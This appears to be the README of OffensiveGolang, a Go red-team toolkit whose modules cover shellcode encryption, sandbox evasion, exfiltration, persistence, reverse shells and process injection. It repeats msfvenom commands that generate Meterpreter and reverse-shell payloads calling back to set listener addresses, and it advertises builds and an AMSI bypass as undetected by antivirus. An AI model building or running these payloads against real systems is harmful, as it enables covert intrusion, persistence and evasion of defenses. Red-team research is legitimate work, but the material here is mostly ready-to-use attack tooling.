OffensiveGolang is a collection of offensive Go packs inspired by different repositories. Ideas have been taken from OffensiveGoLang and Ben Kurtz's DEFCON 29 talk.
This repository has some basic implementations and examples that depending on the environment in which they are used can be easily detected by defensive systems. The goal is to support the rapid development of red team tools by providing common functions and with the possibility of improvements by the community. The different modules presented are the following:
The different modules presented are the following:
- Encryption: Module that allows encrypting the payload shellcode using AES and a 32-byte random key.
- Evasion: Based on other projects such as robotgo, functions have been implemented that identify screen dimensions, mouse movements and process information in order to avoid the execution of binaries in sandboxes.
- Exfil: Implements functions that allow loading the shellcode from an external web server or sending a screenshot after having used the screenshot method through a POST request.
- Persistence: Allows you to create a scheduled task using the methods provided by the taskmaster project. In addition, you can also modify the Windows registry to run a binary at startup.
- Payloads: set of methods collected from different repositories that allow from generating a simple reverse shell in Golang to injecting code into the memory of an existing process.
- Examples: Different examples using the modules described above.
go get github.com/MrTuxx/OffensiveGolang
- Installation of dependencies
$ sudo apt install xsel xclip gcc libc6-dev libx11-dev xorg-dev libxtst-dev libpng++-dev xcb libxcb-xkb-dev x11-xkb-utils libx11-xcb-dev libxkbcommon-x11-dev libxkbcommon-dev gcc-multilib gcc-mingw-w64 libz-mingw-w64-dev
- Install Mingw64 and ZLIBx64
- Download and install TDM GCC Mingw64 add \TDM\bin to PATH
- Download and unzip ZLIBx64
- copy _\zlib\bin to \TDM\bin
- copy \zlib\include to \TDM\include
- copy \zlib\lib to \TDM\lib
- Meterpreter Staged Payload downladed from external web server with Evasion and Encryption Module implemented. (UPDATE: Not detected by AV as of 23/05/2024)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.145 -o /tmp/payload.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c
- Simple Go Reverse Shell applying the Ekko Technique. (UPDATE: Not detected by AV as of 23/05/2024)
- AMSI ByPass with malicious dll using rundll32.exe (UPDATE: Not detected by AV as of 23/05/2024)
- Simple Golang connection (UPDATE: Not detected by AV as of 19/03/2022)
- Simple Golang connection (UPDATE: Not detected by AV as of 19/03/2022)
- Meterpreter Staged Payload with Encryption Module implemented. (UPDATE: Not detected by AV as of 19/03/2022)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest
NOTE: Some msf commands trigger the AV
- Meterpreter Staged Payload with Evasion and Encryption Module implemented. (UPDATE: Detected by AV as of 19/03/2022)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest
- Reverse Shell Staged Payload with Evasion and Encryption Module implemented.(UPDATE: Not detected by AV as of 19/03/2022)
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload2.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest
- Reverse Shell Staged Payload downladed from external web server with Evasion and Encryption Module implemented. (UPDATE: Not detected by AV as of 19/03/2022)
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload2.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest
- Meterpreter Staged Payload downladed from external web server with Evasion and Encryption Module implemented. (UPDATE: Not detected by AV as of 19/03/2022)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest
NOTE: Some msf commands trigger the AV
- Meterpreter Staged Payload with Evasion Module implemented. (UPDATE: Not detected by AV as of 19/03/2022)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest
- Meterpreter Staged Payload downladed from external web server with Evasion and Encryption Module implemented. (UPDATE: Detected by AV as of 19/03/2022)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest
- Reverse Shell Staged Payload downladed from external web server with Evasion and Encryption Module implemented. (UPDATE: Not detected by AV as of 19/03/2022)
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload2.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest
- Task scheduled with malicious dll using syscall
- Installation
- Obfuscation
- Golang Offensive Tools
- https://github.com/Binject/go-donut
- https://github.com/optiv/ScareCrow
- https://github.com/vyrus001/go-mimikatz
- https://www.symbolcrash.com/2021/03/02/go-assembly-on-the-arm64/
- https://github.com/awgh/cppgo
- https://github.com/Binject/awesome-go-security
- https://www.symbolcrash.com/2019/02/23/introducing-symbol-crash/
- https://go.dev/doc/effective_go
- https://github.com/redcode-labs/Coldfire
- https://medium.com/@justen.walker/breaking-all-the-rules-using-go-to-call-windows-api-2cbfd8c79724
- https://medium.com/@mat285/encrypting-streams-in-go-6cff6062a107
- https://blog.jan0ski.net/golang/index.html
- https://github.com/brimstone/go-shellcode/
- https://github.com/bluesentinelsec/OffensiveGoLang
- https://github.com/erikgeiser/govenom
- https://github.com/AllenDang/w32
- https://gist.github.com/prachauthit/ca7754e07901d09554b8036fb2f11bfd
- https://github.com/monoxgas/sRDI
- https://www.youtube.com/watch?v=AGLunpPtOgM
- https://www.youtube.com/watch?v=3RQb05ITSyk